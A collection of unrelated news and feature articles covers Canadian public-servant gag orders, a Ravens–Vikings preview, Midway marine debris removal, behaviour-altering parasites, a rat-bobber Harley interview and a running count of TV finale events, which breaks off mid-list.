Farmer had worked at our center as a massage therapist for approximately a year. He is no longer employed at CMG Family Wellness Center and we have fully cooperated with the police investigation. CMG Family Wellness is dedicated to the health and well being of our patients and clients. We diligently check references of our employees. We make certain they have the required training and licensing. We also hold them to the highest professional standards. We are devastated to learn of these allegations but remain committed to serving the healthcare needs of our community, patients and clients. We will not have any further comment on the matter.  Farmer has denied the allegations and is out of jail on $750 bond.
-The Liberal government has been expanding the number of public servants subject to lifetime gag orders, placing them under threat of hefty prison sentences should they spill any secrets before they die.  Since December, the Privy Council Office has designated at least 94 individuals, some of whom no longer work for the federal government, as "persons permanently bound to secrecy" or PPBS — a binding legal order intended to enforce their silence.  The group all had access to confidential, security-related information while working at the Privy Council Office or the Prime Minister's Office, and some were served with official notice of the gag order after they had left their jobs.  Each of them was individually identified by their boss or former boss as knowing secrets about national security, and therefore requiring a gag order that is retroactive — preventing them from talking about their work before the gag order was issued.  Each was also presented with a three-page notice to sign and return, many using a pre-paid, pre-addressed envelope that was enclosed.  CBC News learned about the latest round of lifetime gag orders through a request under the Access to Information Act, and some details have been confirmed by a government spokesperson.  Gagged for life  A heavily redacted memorandum for the clerk of the Privy Council dated Dec. 19, 2016, also shows another 145 Privy Council Office staffers have been subject to blanket gag orders under the Security of Information Act since 2014 because of the nature of their roles.  These individuals were automatically gagged for life because they work in units that are designated as sensitive and are routinely exposed to secrets, unlike the 94 who were selectively added to the gag list because they are only sometimes given secret information.  The Privy Council Office declined to provide more information about the 94, including how many may have worked in former prime minister Stephen Harper's office.  "Further disclosure of information could lead to security risks, potentially placing Canadians at risk," spokesperson Paul Duchesne said in an email.  The briefing note for the clerk indicates the Privy Council Office expects to add about 30 individuals each year to the ranks of "persons permanently bound to secrecy."  A separate group of more than 200 Canadian military personnel and federal workers have also been hit with lifetime gag orders since early last year. These individuals all work in the controversial program to replace Canada's fighter jets.  After a formal question submitted in the House of Commons by Conservative MP James Bezan, the government acknowledged more than 200 public servants have been gagged for life regarding their work in procuring new fighter jets. (Adrian Wyld/Canadian Press)  The number was elicited by Conservative defence critic James Bezan through a formal House of Commons procedure that requires a minister to answer an MP's question. Insiders called the gag orders an extraordinary and unnecessary measure.  Of the 235 staffers disclosed to Bezan, 121 work for National Defence and 13 work for the Privy Council Office. It's not clear whether any of the 13 at Privy Council are also counted in the clerk's memo.  Myth of the 'eternal secret'  In total, these most recent reports add at least another 361 public servants who risk up to 14 years in prison if they ever discuss the secrets of their time in government, whether in memoirs or at family reunions.  Security and intelligence historian Wesley Wark says the gagging system under the Security of Information Act of 2001 is unworkable and poorly conceived.  It "rests on an idea that there is such a thing as a permanent or eternal secret," the University of Ottawa professor said. "This is clearly a myth and an unhelpful one."  Wesley Wark, a security and intelligence historian at the University of Ottawa, says the gag provisions of the Security of Information Act are outdated and rob Canadians of their history.  He says the concept "robs Canada of an ability to learn from the experience of officials with a deep knowledge of security and intelligence issues" and "creates a chill around the publication of memoirs and other forms of organized memory and commentary."  "It is a very old-fashioned system, rooted in long-ago British practice and has not been updated."  Wark says the law needs to be rewritten to ensure the gag provisions apply only to select categories of highly sensitive intelligence, among other reforms.  But Duchesne of the PCO says there are no plans to change the system.  "Designation of PMO and PCO employees will continue, as required in the interests of security," he said. "Both PCO and PMO take the protection of information very seriously, which is why both ensure that those who have access to special operational information are permanently bound to secrecy."  On May 11, historians and their supporters launched a petition to the federal government, calling for millions of documents that have spent decades in departmental filing cabinets to be turned over to Library and Archives Canada.  The petition's initiator, Dennis Molinaro of Trent University, told CBC News "the government seems to be, in essence, running some kind of secret or shadow archive."  Follow @DeanBeeby on Twitter
-At 3 wins and 3 losses it may be too premature to hit the panic button on this season, but I would certainly keep it within arm’s reach. If the Ravens cannot dispatch the struggling Bears in a home game then it is very difficult to imagine that that they can take their anemic offense on the road against a good defensive team and come back victorious. But this is the NFL and each week always shows some surprises. By the numbers the Ravens look pretty bad through the first six games, and six games is a decent sample size for trending a 16 game season. Let’s take a closer look at the rankings and see where the Ravens stand – here you go:  Offensive Stats  Total yards per game (YPG) 289 – Ranked 29th  YPG Passing 160 – Ranked 31st  YPG Rushing 130 – Ranked 7th  Points per game 19 – Ranked 24th  Defensive Stats  Total yards per game 330 – Ranked 16th  YPG passing 190 – Ranked 5th  YPG rushing 141 – Ranked 30th  Points per game 20.7 – Ranked 11th  Straight up the Ravens offensive strength is in their running game and if they are going to win on Sunday they will have to move the ball on the ground. The challenge for the Ravens this week is the Vikings are stout against the run (ranked 3rd) and they give up a paltry 79 yards a game. Don’t expect the Ravens passing game to show much improvement this week although I do hope that the receivers will do a better job catching the ball. For reasons unknown to me, Joe Flacco has regressed in his play and even to the untrained eye it is easy to see that he is not playing like a 10 year veteran. Given his play these past few seasons and in light of the injuries to his knee and back – you have to come to grips that this is what you now have with Flacco. And as bad as the passing game looks right now – let me be very clear in stating that the answer is not Ryan Mallet – he is awful. For good or for bad Flacco is our guy and the coaching staff is going to have to scheme things in such a way that he can be successful. To be clear now, I am not putting this all on Flacco, the coaches, receivers and O line have all contributed to this lackluster offense.  I suggest you watch Sunday’s game with low expectations for the Ravens. The Vikings have played most of this season without their starting quarterback and yet they have somehow managed to win 4 games. They are winning because they have a stout defense and they are going to be a handful for the Ravens this week. It also doesn’t help that the following receivers are not practicing this week – Williams, Watson, Wallace, and Perriman. The Odds makers have the Vikings by 5 ½ and I think that they will cover. Ravens will struggle to get points on the road and the Vikings will win this one in a low scoring affair. If you are keeping track of my game predictions this year you will know that I am only 2 and 4 so far, so take my picks with a grain of salt. Enjoy the game and stay thirsty my friends.  Minnesota Vikings hosting the Baltimore Ravens – Sunday, October 22nd @ 1:00 PM Odds – Vikings by 5 ½  Game Predictions Score Ravens 9 Vikings 20 Turnovers Minus 1 Net Rushing Yardage Ravens 76 Vikings 110 Net Passing Yardage Ravens 155 Vikings 184  Miscellaneous Predictions  Everson Griffen gets 2 sacks a forced fumble on Flacco  Ravens commit 8 penalties for 80  Justin Tucker accounts for all 9 points  Refs make terrible calls  Possible Monday morning headlines  Flacco’s woes continue in loss to Vikings  Ravens continue to struggle to score in road loss  Keys to the Game
-Huge piles of fishing buoys and nets, old footballs and volleyballs, a postal service box with rubber slippers in it, cracked construction helmets, big black tires, broken laundry baskets and even a plastic pink flamingo were stacked up Thursday morning along a federal pier at Ford Island.  In all, roughly 100,000 pounds of marine debris were collected on the reefs and shorelines of Midway and Kure atolls over the past six years before it was finally hauled more than 1,000 miles to Honolulu, where much of it will be incinerated and turned into energy.  State and federal officials came together at the pier by the National Oceanic and Atmospheric Administration’s Inouye Regional Center to draw attention to the toll of marine debris at the two atolls and other places in Papahanaumokuakea Marine National Monument.  Nathan Eagle/Civil Beat  Kevin O’Brien, who led the marine debris removal project with NOAA’s Pacific Islands Fisheries Science Center, said since 1996 federal teams have removed nearly 2 million pounds of marine debris from in and around islands within the monument’s boundaries, which President Obama expanded last year to now encompass 582,000 square miles.  O’Brien underscored how the fishing nets and plastics harm endangered turtles, seals, corals and seabirds, and that removing the marine debris is one of the most immediate and tangible things his agency and others can do to help.  Courtesy: NOAA  U.S. Sen. Brian Schatz of Hawaii said the story of marine conservation is one of good news and bad news. The good news comes in accounts of government agencies and private entities partnering to clean up the ocean. The bad news is the problem is getting worse.  By 2050, he said, scientists expect there to be more plastic in the ocean than fish (by weight). So the solution must also involve reducing the amount of trash people create in the first place, he said.  Schatz said the issue of marine debris — unlike more complex problems like climate change — is solvable.  “This is a matter of too much trash in the ocean,” he said. “We know what the solution is, which is to remove the trash from the ocean.”  The state Department of Land and Natural Resources provided funding to help the feds haul 12 shipping containers of marine debris that had been collected at Midway and Kure and stored on the tarmac at Midway.  Courtesy: Dan Clark/USFWS  It will be processed by Schnitzer Steel Corporation and transported to Honolulu’s H-POWER plant to be incinerated to produce electricity.  “Marine debris are not something you can clean up just once; it takes a sustained effort over time,” U.S. Fish and Wildlife Service Superintendent Matt Brown said. “By working with the state of Hawaii, Office of Hawaiian Affairs and NOAA, we can accomplish more than any one agency on its own to clean up marine debris and educate the public to prevent it from entering the ecosystem.”  Given how fast it is accumulating, NOAA Marine Debris Program Pacific Islands Regional Coordinator Mark Manuel said it is “imperative” to remove the debris from the Northwestern Hawaiian Islands to “ensure the health of this valuable habitat and the species that call it home.”  Jason Misaki, DLNR’s Oahu wildlife manager, estimated the cost to load, ship and unload the marine debris at $225,000.  Watch a video from the press conference below.
-Imagine that pesky tabby cat has been pooing in your backyard again. Unbeknown to you, it has transferred some of the parasite spores it was carrying onto your herb garden. Unintentionally, while preparing a tasty salad, you forget to wash your hands and infect yourself with the Toxoplasma gondii spores. For months you display no symptoms, then after six months you are driving your car more aggressively, taking chances in road junctions and generally filled with more road rage as you angrily gesticulate with fellow drivers. Could all this be linked to that tasty salad?  T. gondii is a fascinating protozoan parasite which, like many similar organisms, needs to move between several different host species in order to fully develop and reproduce. As such, it appears to have evolved clever methods to make transmission between hosts more likely. For example, studies have found that once rats – intermediate hosts – are infected they display less caution towards cats – the final stage hosts – and so the parasite is more likely to be passed on.  An increasing number of studies suggest humans known to be infected with these parasites could be more susceptible to schizophrenia, bipolar disorder, aggression and even increased suicide. Studies have even suggested you are two to three times more likely to have a car crash if your blood tests positive for the parasite. This is particularly striking when it has been predicted that 30%-50% of the worldwide population may carry the parasite.  Not so cute when you know what they’re carrying. Shutterstock  Chicken or egg?  Very often criticisms of these studies come down to a chicken and egg question. Correlation doesn’t necessary mean causality. Are those aggressive, fast-driving people or those with behavioural conditions more likely to catch the parasites, or does the parasite cause these behavioural traits? Many of the studies were done retrospectively rather than looking at someone’s behaviour before and after they became infected with the parasites. So for now, we can’t say for sure whether your road rage really was linked to your salad.  What we do know is that there are plenty of examples in wildlife where parasites can manipulate the sex, growth, maturation, habitat and behaviour of their hosts. Hair worms, for instance, complete their lifecycle in a river or stream and appear to make their hosts – crickets – attracted to water.  The effects of the parasite don’t stop there, either. The hapless crickets can provide fish with an alternative food source to their usual diet of aquatic invertebrates and, for parts of the year, can form a substantial part of their diet. So manipulating parasites can be important to maintaining healthy ecosystems.  Some ant species infected by trematode flukes are manipulated in a way that makes them cling to the tops of blades of grass, which means they’re more likely to be eaten by sheep. This enables the fluke to complete its life cycle in the sheep.  Chestburster. mardeltaxa/Flickr, CC BY-NC-SA  A type of barnacle parasite known as a rhizocephalan, which eats its crab host from the inside out, is known to feminise its male hosts by castrating them. Scientists have suggested they are then more likely to look after the parasite sac that bursts through their abdomens, much like a female would tend to her eggs.  Switching on genes  Through advances in molecular biology, we are increasingly working out how these parasites can change behaviour by altering gene expression – the way genes can be turned on or off. For example, work in our labs at the University of Portsmouth is trying to uncover the mechanism that enables a newly discovered species of trematode parasite make their shrimp-like (amphipods) hosts more attracted to the light.  Trematodes: little blighters. Josef Reischig/Wikimedia Commons, CC BY-SA  These amphipods would prefer to be hiding under seaweed on our shores, escaping their bird predators as the tide recedes. By chemically mapping the brains of infected shrimp, scientists have discovered that parasites somehow altered the shrimps' serotonin, a mood neurotransmitter found throughout the animal kingdom. Our recent studies have indicated that infected shrimp have subtle alterations to their serotonin receptors and the enzymes that produce serotonin.  Other studies have shown amphipods hosting similar parasites are over 20 times more likely to be eaten compared to non-infected specimens. Again, this highlights the often-overlooked importance of brain-bending parasites in the natural order of food webs.  We often think we must have discovered all the species possible in well-studied locations such as the UK, but many fascinating new manipulating parasites are yet to be discovered on our doorsteps. Our knowledge of how these brain-bending parasites interact with human species will no doubt develop more strongly over the next decade.  Alex Ford, Reader in Biology, University of Portsmouth  This article was originally published on The Conversation. Read the original article.
-Words and photography by Andrew Jones (AKA Pamberjack)  To open, I have a frank and shocking admission to make. I don’t like Harleys. Never have. I’ve always seen them as way too bourbon, bandanas and bald eagles, if you see what I mean. Sure, on the odd occasion I’ve seen a custom HD that I’d not mind being seen on – but for the vast majority of this Milwaukee metal I’d rather set my pubes on fire than have them parked in my garage.  Then I met Jed DePyper at the recent Deus ex Machina Parallel Universe day. I shot the faeces with him for a while and he eventually told me he rode a “Rat Bobber”. Being none-the-wiser, I asked to see it. And Christ on a bike, what a bike; I was pretty much smitten from the get go. It wasn’t until later that day that I put two and two together and realised that I had just had my socks shocked and awed by a Hardly Ableson. God bless America.  Here’s Jed:  PB: Tell us a little about yourself.  JDP: Just another petrol-head. Finally started riding about 6 years ago. Love it.  PB: Amazing bike. What sort of Harley was it originally?  JDP: It’s a 69 Ironhead Sporty.  PB: Can you take us through what it was like when you got it?  JDP: Yeah, I found it on Ebay, it was a tacky, chromed 70s chop with sparkly paint and the wrong kinda vibe (for me). But it was cheap and it ran.  PB: You obviously had help from Evolution Motorsports. How was it working with them?  JDP: Had help? I’m useless. It’s entirely Paul’s handiwork. Dude’s awesome. I just told him exactly how I wanted it and he brought it to life. I’m sure he would have liked to do it a bit classier, but I wouldn’t have a bar of that. I sourced a lot of the parts and he made it all come together. I’d like to say I had more hands on, but I’m too busy being a poseur to get any grease on my girly fingers.  PB: What was your inspiration?  JDP: I like rat-bikes. They’re the antithesis of showroom-fresh modern bikes and precious, polished princesses. Plus, I can’t afford said modern bikes and princesses. Plus, this way it’s no sweat when the bike eats tarmac. Pick it up, bit of duck-tape and off you go.  PB: The brass lamp headlight is amazing. How’d you source that?  JDP: Ebay again. Old T-model Ford I think, can’t remember. Paul found it and knew I’d dig it.  PB: How’d you do the artwork on it?  JDP: White paint pen, then scraped it off with a pocket knife.  PB: What reactions does it get from strangers?  JDP: Junkies seem to like it.  PB: How do the cops treat you?  JDP: Haven’t had any probs yet. Despite appearances, it’s all fairly legit. They’d probably like a front fender and chain-guard, but no hassles thus far. Plus, I just skulk about in the back-streets like a cretin.  PB: What’s it like to ride?  JDP: Loud, slow, doesn’t handle, doesn’t stop. Fun as fuck.  PB: Does Satan mind you borrowing his bike?  JDP: I sold my soul and all I got was this shitty, two-wheeled tractor? Besides, Satan rides a Vincent Black Prince.  PS. Jed had met me exactly ONCE before he LOANED ME THE BIKE FOR THE WEEKEND so I could take some time to get the photos just right. If that’s not being helpful and trusting, then I don’t know what is. Think I’ll try for his credit card and his mum next time…
-Updates:  25 May - Info added Number of couples reuniting, Number of fatalities, Number of breakups/divorces, Number of possible fatalities, Number of characters leaving town, Number of resurrections and/or big returns, Number of time warps/jump, Number of nuclear disasters  25th May - Number of couples reuniting increased from 9 to 10, Number of fatalities increased from 51 to 53, Number of breakups/divorces increased from 8 to 9, Number of possible fatalities increased from 27 to 42, Number of characters leaving town increased from 17 to 19, Number of resurrections and/or big returns increased from 31 to 34, Number of onscreen firings/resignations/major job changes decreased from 36 to 35, Number of time warps/jump increased from 7 to 8, Number of nuclear disasters increased from 1 to 2  24th May - Number of characters leaving town increased from 13 to 17, Number of time warps/jump increased from 6 to 7  24th May - Info added Number of couples having sex, kissing or saying “I Love You” for the first time, Number of new pregnancies, Number of fatalities, Number of resurrections and/or big returns, Number of time warps/jump  23rd May - Info added Number of breakups/divorces, Number of characters leaving town,Number of resurrections and/or big returns, Number of new pregnancies, Number of couples having sex, kissing or saying “I Love You” for the first time, Number of weddings and Number of fatalities  22nd May - Info added Number of possible fatalities  21st May - Number of fatalities increased from 44 to 46  21st May - Info added Number of couples having sex, kissing or saying “I Love You” for the first time, Number of couples reuniting, Number of fatalities  19th May - Number of fatalities increased from 34 to 44, Number of resurrections and/or big returns increased from 26 to 30, Number of onscreen firings/resignations/major job changes increased from 34 to 38  19th May - Info added Number of characters giving birth, Number of couples having sex, kissing or saying “I Love You” for the first time, Number of new pregnancies, Number of fatalities, Number of breakups/divorces, Number of characters leaving town, Number of resurrections and/or big returns, Number of onscreen firings/resignations/major job changes  18th May - Number of possible fatalities increased from 23 to 27, Number of resurrections and/or big returns increased from 24 to 26, Number of onscreen firings/resignations/major job changes increased from 29 to 34, Number of time warps/jump increased from 5 to 6  18th May - Info added Number of couples having sex, kissing or saying “I Love You” for the first time, Number of couples reuniting, Number of fatalities, Number of resurrections and/or big returns, Number of possible fatalities, Number of onscreen firings/resignations/major job changes, Number of time warps/jump  17th May - Number of onscreen firings/resignations/major job changes increased from , 22 to 29, Number of couples reuniting increased from 9 to 11, Number of fatalities increased from 30 to 34  17th May - Info added Number of possible fatalities, Number of characters leaving town, Number of resurrections and/or big returns, Number of couples reuniting  16th May - Info added Number of weddings, Number of couples reuniting, Number of fatalities, Number of characters leaving town,Number of resurrections and/or big returns, Number of onscreen firings/resignations/major job changes, Number of engagements/question poppings  16th May - Number of couples having sex, kissing or saying “I Love You” for the first time increased from 22 to 29, Number of weddings increased from 7 to 8, Number of characters leaving town increased from 10 to 13, Number of resurrections and/or big returns increased from 17 to 24, Number of onscreen firings/resignations/major job changes increased from 24 to 25, Number of engagements/question poppings increased from 5 to 6  14th May - Number of engagements/question poppings increased from 3 to 5  14th May - Info added Number of fatalities, Number of onscreen firings/resignations/major job changes, Number of engagements/question poppings, Number of time warps/jump  13th May - Info added Number of characters leaving town, Number of resurrections and/or big returns  12th May - Info added Number of couples having sex, kissing or saying “I Love You” for the first time, Number of weddings, Number of Fatalities, Number of breakups/divorces, Number of possible fatalities, Number of characters leaving town, Number of resurrections, Number of engagements/question poppings and/or big returns and Number of onscreen firings/resignations/major job changes  12th May - Number of couples having sex, kissing or saying “I Love You” for the first time increased from 22 to 27, Number of Fatalities increased from 27 to 30, Number of breakups/divorces increased from 7 to 9, Number of characters leaving town increased from 8 to 10, Number of resurrections and/or big returns increased from 14 to 17  11th May - Number of resurrections and/or big returns increased from 12 to 14, Number of new pregnancies increased from 3 to 4, Number of fatalities increased from 26 to 28, Number of characters giving birth increased from 2 to 3  11th May - Info added Number of possible fatalities, Number of resurrections and/or big returns, Number of characters giving birth, Number of new pregnancies, Number of couples reuniting, Number of fatalities  10th May - Number of onscreen firings/resignations/major job changes increased from 21 to 24, Number of new pregnancies increased from 2 to 3, Number of weddings increased from 6 to 7, Number of fatalities increased from 24 to 26  10th May - Info added Number of breakups/divorces, Number of resurrections and/or big returns, Number of onscreen firings/resignations/major job changes, Number of couples having sex, kissing or saying “I Love You” for the first time, Number of weddings, Number of fatalities  9th May - Info added Number of resurrections and/or big returns, Number of onscreen firings/resignations/major job changes, Number of time warps/jump, Number of couples having sex, kissing or saying “I Love You” for the first time  9th May - Number of resurrections and/or big returns increased from 9 to 12, Number of onscreen firings/resignations/major job changes increased from 19 to 21, Number of time warps/jump increased from 4 to 5, Number of couples having sex, kissing or saying “I Love You” for the first time increased from 19 to 22  8th May - Number of couples having sex, kissing or saying “I Love You” for the first time increased from 16 to 19, Number of new pregnancies increased from 1 to 2, Number of weddings increased from 5 to 6, Number of fatalities increased from 23 to 24  8th May - Info added Number of characters giving birth, Number of fatalities, Number of weddings, Number of new pregnancies, Number of resurrections and/or big returns and Number of nuclear disasters  6th May - Number of onscreen firings/resignations/major job changes increased from 14 to 19  6th May - Info added Number of couples having sex, kissing or saying “I Love You” for the first time  5th May - Info added Number of couples having sex, kissing or saying “I Love You” for the first time, Number of fatalities, Number of characters leaving town, Number of resurrections and/or big returns and Number of onscreen firings/resignations/major job changes, Number of couples having sex, kissing or saying “I Love You” for the first time and Number of possible fatalities  5th May - Number of couples having sex, kissing or saying “I Love You” for the first time increased from 13 to 14, Number of fatalities increased from 19 to 23, Number of couples having sex, kissing or saying “I Love You” for the first time increased for 14 to 16  4th May - Number of couples reuniting increased from 7 to 9, Number of time warps/jump increased from 3 to 4, Number of fatalities increased from 16 to 19, Number of resurrections and/or big returns increased from 8 to 9  4th May - Info added Number of couples having sex, kissing or saying “I Love You” for the first time, Number of couples reuniting, Number of fatalities, Number of breakups/divorces and Number of onscreen firings/resignations/major job changes  2nd May - Number of resurrections and/or big returns increased from 6 to 8, Number of engagements/question poppings increased from 2 to 3  2nd May - Info added for Number of couples having sex, kissing or saying “I Love You” for the first time, Number of weddings, Number of fatalities, Number of resurrections and/or big returns, Number of onscreen firings/resignations/major job changes  1st May - Info added for Number of couples having sex, kissing or saying “I Love You” for the first time, Number of weddings, Number of couples reuniting, Number of fatalities, Number of onscreen firings/resignations/major job changes, Number of time warps/jump  1st May - Number of characters giving birth increased from 1 to 2, Number of weddings increased from 4 to 5  30th April - Info added for Number of couples having sex, kissing or saying “I Love You” for the first time, Number of characters leaving town and Number of onscreen firings/resignations/major job changes  30th April - Number of couples having sex, kissing or saying “I Love You” for the first time increased from 11 to 13, Number of onscreen firings/resignations/major job changes increased from 11 to 14  28th April - Info Added for Number of weddings, Number of couples reuniting, Number of fatalities and Number of onscreen firings/resignations/major job changes.  28th April - Number of breakups/divorces increased from 6 to 7.  22nd April - Number of possible fatalities increased from 20 to 23  19th April - Number of weddings increased from 2 to 4, Number of breakups/divorces increased from 5 to 6, Number of possible fatalities increased from 11 to 20, Number of couples having sex, kissing or saying “I Love You” for the first time increased from 6 to 11, Number of fatalities increased from 14 to 16  14th April - Number of weddings increased from 1 to 2, Number of fatalities increased from 13 to 14  13th April - Number of time warps/jump increased from 2 to 3, Number of possible fatalities increased from 5 to 11, Number of fatalities increased from 11 to 13  Number of characters giving birth: 3  1. AIRED May 7: Erica gave birth to daughter Dawn/The Last Man on Earth  2. AIRED May 10: Bow gave birth to son DeVonte/black-ish  3. AIRED May 18: Kelly gave birth to Lucifer’s son/Supernatural  Number of couples having sex, kissing or saying “I Love You” for the first time: 32  1. AIRED April 27: Sandra and Jerry kissed/Superstore  2. AIRED April 28: Greer and James kissed/Reign  3. AIRED April 28: Narcisse and Nicole had sex/Reign  4. AIRED April 29: Holly and Frank said “I love you” (in their own way)/Training Day  5. AIRED April 30: Gail and Erica’s relationship revealed/Last Man on Earth  6. AIRED May 1: Paige and Walter said “I love you”/Scorpion  7. AIRED May 1: Alex and Maggie said “I love you”/Supergirl  8. AIRED May 2: Joe and Cecile said “I love you”/The Flash  9. AIRED May 2: Severide and Anne said “I love you”/Chicago Fire  10. AIRED May 3: Adam and Jackie kissed/The Goldbergs  11. AIRED May 4: Arizona and Eliza had sex/Grey’s Anatomy  12. AIRED May 4: Jonah and Amy kissed/Superstore  13. AIRED May 5: Freya and Keelin kissed/The Originals  14. AIRED May 7: Jay and Sofia had sex/Madam Secretary  15. AIRED May 8: Jane and Fabian had sex/Jane the Virgin  16. AIRED May 8: Alba and Jorge said “I love you”/Jane the Virgin  17. AIRED May 8: Chuck told Petra “I love you”/Jane the Virgin  18. AIRED May 8: Clark and Emma kissed/The Great Indoors  19. AIRED May 9: H.R. and Tracy kissed/The Flash  20. AIRED May 9: Julian said “I love you” to Caitlin/The Flash  21. AIRED May 11: Betty and Jughead said “I love you”/Riverdale  22. AIRED May 11: Archie and Veronica had sex/Riverdale  23. AIRED May 11: Ethan and April/Chicago Med  24. AIRED May 11: Connor said “I love you” to Robin/Chicago Med  25. AIRED May 17: Ray has first kiss/Speechless  26. AIRED May 17: Jane and Weller said “I love you” and had sex/Blindspot  27. AIRED May 18: Aram and Samar kissed/The Blacklist  28. AIRED May 19: Elizabeth has sex with the Archduke/Reign  29. AIRED May 22: Kara told Mon-El she loves him/Supergirl  30. AIRED May 23: Liv and Justin shared first kiss/iZombie  31. AIRED May 23: Lincoln and Sheba shared first kiss/Prison Break  32. AIRED May 23: H.R. said “I love you” to Tracy/The Flash  Number of new pregnancies: 6  1. AIRED May 7: Daisy/Madam Secretary  2. AIRED May 9: Delilah/NCIS  3. AIRED May 10: Cat/Criminal Minds  4. AIRED May 18: Quinn/Scandal  5. AIRED May 22: Darci/Jane the Virgin  6. AIRED May 23: Gina/Brooklyn Nine-Nine  Number of weddings: 9  1. AIRED April 27: Cheyenne and Bo/Superstore  2. AIRED April 30: Todd and Melissa/Last Man on Earth  3. AIRED May 1: Toby and Happy/Scorpion  4. AIRED May 7: Emma and Hook/Once Upon a Time  5. AIRED May 9: McGee and Delilah/NCIS  6. AIRED May 11: Matt and Colleen/Life in Pieces  7. AIRED May 15: Clay and Maxine/Quantico  8. AIRED May 22: Rogelio and Xiomara/Jane the Virgin  Number of couples reuniting: 10  1. AIRED April 27: Catherine and Richard/Grey’s Anatomy  2. AIRED April 30: Jeanette and Carson/American Crime  3. AIRED May 10: Jane and Weller/Blindspot  4. AIRED May 15: Rafael and Petra/Jane the Virgin  5. AIRED May 15: Alex and Ryan/Quantico  6. AIRED May 16: Mack and Elena/Agents of S.H.I.E.L.D.  7. AIRED May 16: Michael and Sara/Prison Break  8. AIRED May 17: Oliver and Felicity/Arrow  9. AIRED May 19: Catherine and Narcisse/Reign  10. AIRED May 24: Cookie and Lucious/Empire  Number of fatalities: 53  1. AIRED April 27: Joshua/Supernatural  2. AIRED April 27: Dagon/Supernatural  3. AIRED April 30: Roy/Elementary  4. AIRED May 1: Gabe/Gotham  5. AIRED May 1: Frank/Gotham  6. AIRED May 2: Sid/Prison Break  7. AIRED May 2: Anna/Chicago Fire  8. AIRED May 3: Ilian/The 100  9. AIRED May 3: Roan/The 100  10. AIRED May 3: Luna/The 100  11. AIRED May 3: Cassie/Criminal Minds  12. AIRED May 3: Jason/Designated Survivor  13. AIRED May 4: Peus/Scandal  14. AIRED May 4: Ruland/Scandal  15. AIRED May 4: Cliff/Riverdale  16. AIRED May 7: Pat/The Last Man on Earth  17. AIRED May 7: Shinwell/Elementary  18. AIRED May 7: Michelle/NCIS:LA  19. AIRED May 9: Omar/Prison Break  20. AIRED May 9: Cyclops/Prison Break  21. AIRED May 10: Jasper/The 100  22. AIRED May 10: Pellington/Blindspot  23. AIRED May 11: Eileen/Supernatural  24. AIRED May 14: The Black Fairy/Once Upon a Time  25. AIRED May 15: President Roarke/Quantico  26. AIRED May 16: Aida/Agents of S.H.I.E.L.D.  27. AIRED May 16: Kishida/Prison Break  28. AIRED May 16: Stone/NCIS: New Orleans  29. AIRED May 17: Tariq/Empire  30. AIRED May 17: Lozano/Designated Survivor  31. AIRED May 18: Luna/Scandal  32. AIRED May 18: Mr. Kaplan/The Blacklist  33. AIRED May 18: Laurel/The Blacklist  34. AIRED May 18: Castiel/Supernatural  35. AIRED May 18: Crowley/Supernatural  36. AIRED May 18: Ketch/Supernatural  37. AIRED May 18: Toni/Supernatural  38. AIRED May 18: Dr. Hess/Supernatural  39. AIRED May 18: Rowena/Supernatural  40. AIRED May 18: Kelly/Supernatural  41. AIRED May 19: Elijah/The Originals  42. AIRED May 19: Rizzio/Reign  43. AIRED May 20: Wallace/Training Day  44. AIRED May 21: Julia/Shades of Blue  45. AIRED May 22: Rhea/Supergirl  46. AIRED May 22: Kathryn/Gotham  47. AIRED May 23: Vivian Still/iZombie  48. AIRED May 23: Savitar/The Flash  49. AIRED May 23: H.R./The Flash  50. AIRED May 24: Malcolm/Arrow  51. AIRED May 24: Adrian Chase/Arrow  52. AIRED May 24: Kovar/Arrow  53. AIRED May 24: Captain Boomerang/Arrow  Number of breakups/divorces: 9  1. AIRED April 27: Jonah and Kristen/Superstore  2. AIRED May 3: Lucious and Anika/Empire  3. AIRED May 4; Sarah and Joey/Chicago Med  4. AIRED May 9: Fitz and Ophelia/Agents of S.H.I.E.L.D.  5. AIRED May 9: Blaine and Peyton/iZombie  6. AIRED May 11: Will and Nina/Chicago Med  7. AIRED May 18: Aram and Janet broke up/The Blacklist  8. AIRED May 22: Rafael and Petra/Jane the Virgin  9. AIRED May 24: Lucious and Giuliana/Empire  Number of possible fatalities*: 42  1. AIRED May 4: Brett/Superstore  2. AIRED May 10: Prentiss/Criminal Minds  3. AIRED May 10: JJ/Criminal Minds  4. AIRED May 10: Rossi/Criminal Minds  5. AIRED May 10: Walker/Criminal Minds  6. AIRED May 10: Tara/Criminal Minds  7. AIRED May 10: Alvez/Criminal Minds  8. AIRED May 11: Colleen/Life in Pieces  9. AIRED May 11: Fred/Riverdale  10. AIRED May 11: Dr. Charles/Chicago Med  11. AIRED May 16: Gibbs/NCIS  12. AIRED May 16: McGee/NCIS  13. AIRED May 16: Mouch/Chicago Fire  14. AIRED May 16: Casey/Chicago Fire  15. AIRED May 16: Severide/Chicago Fire  16. AIRED May 16: Stella/Chicago Fire  17. AIRED May 16: Otis/Chicago Fire  18. AIRED May 16: Herrmann/Chicago Fire  19. AIRED May 16: Kannell/Chicago Fire  20. AIRED May 17: Reade/Blindspot  21. AIRED May 17: Patterson/Blindspot  22. AIRED May 17: Zapata/Blindspot  23. AIRED May 21: Woz/Shades of Blue  24. AIRED May 21: Harlee/Shades of Blue  25. AIRED May 24: Felicity/Arrow  26. AIRED May 24: Diggle/Arrow  27. AIRED May 24: Thea/Arrow  28. AIRED May 24: Curtis/Arrow  29. AIRED May 24: Dinah/Arrow  30. AIRED May 24: Slade/Arrow  31. AIRED May 24: Rene/Arrow  32. AIRED May 24: Quentin/Arrow  33. AIRED May 24: Nyssa/Arrow  34. AIRED May 24: Samantha/Arrow  35. AIRED May 24: Talia/Arrow  36. AIRED May 24: Black Siren/Arrow  37. AIRED May 24: Evelyn/Arrow  38. AIRED May 24: Abby/The 100  39. AIRED May 24: Octavia/The 100  40. AIRED May 24: Indra/The 100  41. AIRED May 24: Jaha/The 100  42. AIRED May 24: Kane/The 100  * Applies to characters whose fate is left up in the air at the end of the season finale  Number of characters leaving town: 19  1. AIRED April 28: James/Reign  2. AIRED April 28: Adrian/Rosewood  3. AIRED May 4: Jeff/Chicago Med  4. AIRED May 11: Ben/The Catch  5. AIRED May 11: Margot/The Catch  6. AIRED May 11: Tessa/The Catch  7. AIRED May 12: Kono/Hawaii Five-0  8. AIRED May 15: Alex/Quantico  9. AIRED May 15: Ryan/Quantico  10. AIRED May 16: Robbie/Agents of S.H.I.E.L.D.  11. AIRED May 18: Fitz/Scandal  12. AIRED May 22: Mon-El leaves Earth/Supergirl  13. AIRED May 23: Barry/The Flash  14. AIRED May 24: Raven went to space/The 100  15. AIRED May 24: Bellamy went to space/The 100  16. AIRED May 24: Murphy went to space/The 